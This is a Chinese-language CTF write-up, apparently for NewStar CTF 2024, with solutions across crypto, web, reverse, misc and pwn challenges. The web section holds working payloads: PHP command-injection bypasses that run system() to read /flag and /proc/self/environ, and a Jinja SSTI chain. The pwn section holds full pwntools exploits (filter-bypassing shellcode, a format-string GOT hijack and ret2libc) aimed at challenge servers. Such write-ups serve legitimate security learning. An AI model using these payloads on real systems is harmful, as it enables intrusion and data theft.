Crypto
这是几次方? 疑惑!
^ 在 Python (或者说大部分语言中)是异或的意思。再注意一下运算符优先级,^ < + 就好了。
Exploit
from Crypto.Util.number import *
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
L = (p-1) * (q-1)
d = pow(e, -1, L)
m = pow(c, d, n)
print(long_to_bytes(m))
Since you konw something
又是 xor,加密挺简单的,就是一次异或运算。现在要找这个 key。
我们已经知道原文以 flag{ 开头,且以 } 结尾,我们把这个密文转为 hex 形式观察。


因为异或是按位运算的,所以我们可以先把已知的开头 5 个字符和结尾 1 个字符分别异或操作:


可以知道我们的 key 应该为 6E736E736E 开头,以 6E 结尾。很自然地想到可以在中间填充重复的部分即 6E73 。
填充到相同位数后,就可以拿到 Flag。
Exploit
from Crypto.Util.number import long_to_bytes
key = 0x6E736E736E736E736E736E736E736E736E736E736E736E736E736E736E
c = 0x081f0f14152a5e0631180043192c1a1b5d2c36431c2c0c401a075d0113
print(long_to_bytes(key ^ c))
茶里茶气
TEA 解密,直接逆向解就能得到 Flag。
Exploit
from Crypto.Util.number import *
derta = 462861781278454071588539315363
l = 199
p = 446302455051275584229157195942211
v2 = 32 * derta
v2 %= p
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
for i in range(32):
v2 -= derta; v2 %= p
v0 -= (v1 + v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
v1 -= (v0 + v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ); v1 %= p
v1 += v0 << (l // 2)
v0 = v0 << (l // 2)
print(v0)
print(v1)
print(long_to_bytes(v0))
print(long_to_bytes(v1))
Just one and more than two
还是基本的 RSA,p、q、r 都给了所以直接套标准解法就好。
Exploit
from Crypto.Util.number import *
c1 = ...
c2 = ...
p = ...
q = ...
r = ...
e = ...
L = p - 1
d = pow(e, -1, L)
m = pow(c1, d, p)
print(long_to_bytes(m).decode(), end="")
p = p*q
q = r
L = (p-1) * (r-1)
d = pow(e, -1, L)
m = pow(c2, d, q)
print(long_to_bytes(m).decode(), end="")
Web
你能在一秒内打出八句英文吗
写个脚本贴到 Console 里,然后拼手速提交(。
const form = document.createElement('form');
form.method = 'POST';
form.action = '/submit';
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'user_input';
input.value = document.getElementById("text").innerHTML;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
遗失的拉链
根据题目提示,“拉链”->“zip”,爆破可得当前目录下存在 www.zip 。打开发现存在 pizwww.php ,审计代码:
- GET 方法传入
new参数 - POST 方法传入
star参数和cmd参数 sha1(new)===md5(star)cmd参数中不存在cat或flag关键字
第三点我们可以传入数组绕过,两个函数接收到数组均会输出 null。
第四点我们可以传入新参数 1,然后 cmd 中填入 system($_GET["1"]); 来绕过限制。再将 cat /flag 传入参数 1。
Payload
GET: ?new[]=1&1=cat /flag
POST: star[]=2&cmd=system($_GET["1"]);
PangBai 过家家(2)
这题真的搞心态啊。PHP 是真他妈的神奇。
首先先扫目录,发现存在 .git 目录。所以我们可以利用 git 泄露漏洞来获取到一些源码。
但是这题用 GitHack 你是扒不下来完整的 .git 库的,要用 GitHacker 才可以。

然后 git log 发现几个 commits 里没什么东西。目光转向 stash 。用 VSCode 自带的 git 工具就能看到一个 stash 中存有后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php ,打开!

审计源码:
- GET 传入
NewStar_CTF.2024参数 - POST 传入
papa、func和args参数 papa === "TfflxoU0ry7c"NewStar_CTF.2024 !== "Welcome"且和/^Welcome$/完全匹配
首先第一个坑,也是硬控我几个小时的坑:NewStar_CTF.2024 该怎么传?
如果你 GET 中直接传入 ?NewStar_CTF.2024=... 的话,其实是会被转义成 NewStar_CTF_2024 的。解决办法在这篇文章中。TL; DR:将 _ 替换为 [ 绕过。
然后上面的第四点,怎么让这个参数既等于 Welcome 又不等于 Welcome 呢?其实 preg_match 是默认单行匹配模式,会忽略 LR(\n, %0A) 换行符。所以我们只要传入 Welcome%0A 就能绕过。
后面就能执行任意函数,Flag 在环境变量中,不多说了。
Payload
GET ?NewStar[CTF.2024=Welcome%0A
POST papa=TfflxoU0ry7c&func=system&args=cat /proc/self/environ
复读机
首先输入 {{ 2-1 }} 得到 1 ,可知存在 SSTI 注入。
Payload
{{ ''['__cla''ss__']['__base__']['__subcla''sses__']()[222].__init__.__globals__.__builtins__.open("/flag", "r").read() }}
谢谢皮蛋 Plus
在原题的基础上增加了空格限制,sqlmap --tamper space2comment,base64encode.py 即可。
Flag 在 ctf/Fl4g.value 中
Reverse
UPX
UPX 壳。
里面塞了个 RC4 加密,拖到赛博厨子里解密就好了。
drink_TEA
还是 TEA 加密,直接套解密算法即可。注意一些转换问题。
Ptrace
意义不明的 Ptrace。
对 son 反编译即可。
Exploit
#include <cstdio>
unsigned char ida_chars[] =
{
0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED,
0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D, 0x8D, 0x2F, 0xEB, 0x6D,
0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC,
0xE7, 0xAF
};
int main() {
for (int i = 0; i < 32; ++i) {
int x = ida_chars[i];
printf("%c", (x << 3) | (x >> 5));
}
return 0;
}
ez_encrypt
jadx-gui 打开 APK,定位 work.pangbai.ezencrypt.Enc ,同时 IDA 打开 ezencrypt\lib\x86_64\libezencrypt.so 反编译。

首先看到 enc 函数里面有个初次加密,照着写一遍就好了。然后 encc 函数具有 RC4 加密算法的特征 init_sbox ,所以再套一层 RC4。
回到 Java 层,发现套了个 AES/ECB 。密钥是 MainActivity.title 即 IamEzEncryptGame 。按顺序解密即可。
Exploit
import base64
from Crypto.Cipher import ARC4, AES
key = b"meow"
encrypted = [0xC2,0x6C,0x73,0xF4,0x3A,0x45,0x0E,0xBA,0x47,0x81,0x2A,0x26,0xF6,0x79,0x60,0x78,0xB3,0x64,0x6D,0xDC,0xC9,0x04,0x32,0x3B,0x9F,0x32,0x95,0x60,0xEE,0x82,0x97,0xE7,0xCA,0x3D,0xAA,0x95,0x76,0xC5,0x9B,0x1D,0x89,0xDB,0x98,0x5D]
k = 0
for i in encrypted:
encrypted[k] = i ^ key[k % 4]
k += 1
rc4_cipher = ARC4.new(key)
rc4_decrypted = base64.b64decode(rc4_cipher.decrypt(bytes(encrypted)))
aes_key = b"IamEzEncryptGame"
aes_cipher = AES.new(aes_key, AES.MODE_ECB)
print(aes_cipher.decrypt(rc4_decrypted))
Dirty_flowers
按照指示删除花指令,得到加密函数。
v3 = []
for i in range(36):
v3.append(i)
v3[0] = 2
v3[1] = 5
v3[2] = 19
v3[3] = 19
v3[4] = 2
v3[5] = 30
v3[6] = 83
v3[7] = 31
v3[8] = 92
v3[9] = 26
v3[10] = 39
v3[11] = 67
v3[12] = 29
v3[13] = 54
v3[14] = 67
v3[15] = 7
v3[16] = 38
v3[17] = 45
v3[18] = 85
v3[19] = 13
v3[20] = 3
v3[21] = 27
v3[22] = 28
v3[23] = 45
v3[24] = 2
v3[25] = 28
v3[26] = 28
v3[27] = 48
v3[28] = 56
v3[29] = 50
v3[30] = 85
v3[31] = 2
v3[32] = 27
v3[33] = 22
v3[34] = 84
v3[35] = 15
key = b"dirty_flower"
length = len(v3)
i = 0
while i < length:
v3[i] ^= key[i % len(key)]
i+=1
print(bytes(v3))
Misc
wireshark_checkin
简单的 Wireshark 使用。


wireshark_secret

点击左边数据部分,按住 Ctrl+Shift+X 提取,后缀名为 .png 。然后读取图上 Flag 即可。
热心助人的小明同学
简单取证,用 Volatility 的 LSADump 功能就可以提取到明文密码。

用溯流仪见证伏特台风
Google 一下,那一天的原文在这里。
按照视频中的方法操作即可。
你也玩原神吗
提瓦特解密,然后丢进随波逐流里 Fence 解密。
字里行间的秘密
Unicode 零宽加密,其实应该算简单的题目的。但是不知道为什么开始的时候少复制了几个字符导致解不出来。
用这个工具可以解密。

然后打开加密的 Docx ,全选设置颜色即可看到 Flag。
Herta’s Study
(这周 Wireshark 怎么这么多。)
首先找到上传的 horse.php 的源码,

(这算 Web 题吗)

解密得到这个文件,把 Base64 后的奇数位的全都 ROT13 后输出。写个脚本解密
import codecs
import base64
print(base64.b64decode(''.join(map(lambda x: codecs.encode(x[1], 'rot_13') if x[0] % 2 else x[1], enumerate(input())))))

真正的 flag 在这里。
Pwn
Bad Asm
把 syscall sysenter int 屏蔽了,并且 code 中不能有 \x00 不然会被截断,且最开始要恢复栈结构。
Exploit
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = "debug"
p = remote("101.200.139.65", 22678)
#gdb.attach(p, "b exec")
payload = asm("""
lea rbp,[rip+0x1010402]
lea rsp,[rip+0x1010402]
sub rsp, 0x1010301
sub rbp, 0x1010201 # Recover the stack
xor rax, rax
mov rax, 0x68732f6e69622f2f
shr rax, 8
push rax
push rsp
pop rdi
xor eax, eax
push rax
mov al, 59
push rsp
pop rdx
push rsp
pop rsi # the execv arguments
mov al, 0x3b
mov BYTE PTR [rip-9],0x0f
mov BYTE PTR [rip-15],0x05
jmp $ - 16 # syscall part
""" )
print(payload)
p.sendlineafter(b'Input your Code : ', payload)
p.interactive()
ez_fmt
x86_64 字符串格式化漏洞,限制读入 0x30 个字节。使用 GOT Hijack 技术。
漏洞详解见这个链接。
Exploit
from pwn import *
context.arch = "amd64"
#context.log_level = "debug"
context.os = 'linux'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
io = remote("39.106.48.123", 29675)
#io = process("./pwn"
puts_got = elf.got['puts']
printf_got = elf.got['printf']
memset_got = elf.got['memset']
payload1 = b'AAAAAAAA%10$sAAA' + p64(puts_got)
io.sendlineafter("data: \n", payload1)
io.recvuntil(b'AAAAAAAA')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
log.info("puts_addr => %s" % hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
log.info("libc_base => %s" % hex(libc_base))
sys_addr = libc_base + libc.sym['system']
log.info("sys_addr => %s" % hex(sys_addr))
printf_addr = libc_base + libc.sym['printf']
log.info("printf_got => %s" % hex(printf_got))
log.info("printf_addr => %s" % hex(printf_addr))
sys_addr_min = hex(sys_addr)[6:]
a = int(sys_addr_min[0:4], 16)
b = int(sys_addr_min[4:8], 16)
log.info("sys_addr1 => %s" % hex(a))
log.info("sys_addr2 => %s" % hex(b))
offset = 12
if a > b:
payload = b"%" + str(b).encode() + b'c' + b"%" + str(offset).encode() + b"$hn"
payload += b"%" + str(a - b).encode() + b'c' + b"%" + str(offset + 1).encode() + b"$hn"
payload += (48 - 16 - len(payload)) * b'a'
payload += p64(printf_got) + p64(printf_got + 2)
else:
payload = b"%" + str(a).encode() + b'c' + b"%" + str(offset + 1 ).encode() + b"$hn"
payload += b"%" + str(b - a).encode() + b'c' + b"%" + str(offset).encode() + b"$hn"
payload += (48 - 16 - len(payload)) * b'a'
payload += p64(printf_got) + p64(printf_got + 2)
#print(len(payload))
#io.sendline(fmtstr_payload(8, {printf_got: sys_addr}, 0, "short"))
io.recvuntil("data: ")
io.sendline(payload)
io.recv()
io.sendline("/bin/sh;\x00")
io.sendline("cat /flag")
io.interactive()
ez_game
简单的 x86_64 ret2libc 基本上模板题。
from pwn import *
from LibcSearcher import *
binary = ELF("./attachment", checksec=False)
p = remote("8.147.132.32", 30280)
main_addr = p64(binary.symbols.main)
print(main_addr)
puts_plt = p64(binary.plt.puts)
puts_got = p64(binary.got.puts)
pop_rdi = 0x0000000000400783
ret = 0x0000000000400509
offset = 80 + 8
payload_first = offset * b'a' + p64(pop_rdi) + puts_got + puts_plt + main_addr
p.sendlineafter(b"!!!!\n", payload_first)
p.recvuntil(b"again!!\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(real_puts_addr)
libc = ELF("./libc-2.31.so", checksec=False)
libc_base = real_puts_addr - libc.symbols.puts
system_addr = libc_base + libc.symbols.system
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
print(payload_end)
p.sendlineafter(b"!!!!\n", payload_end)
p.interactive()
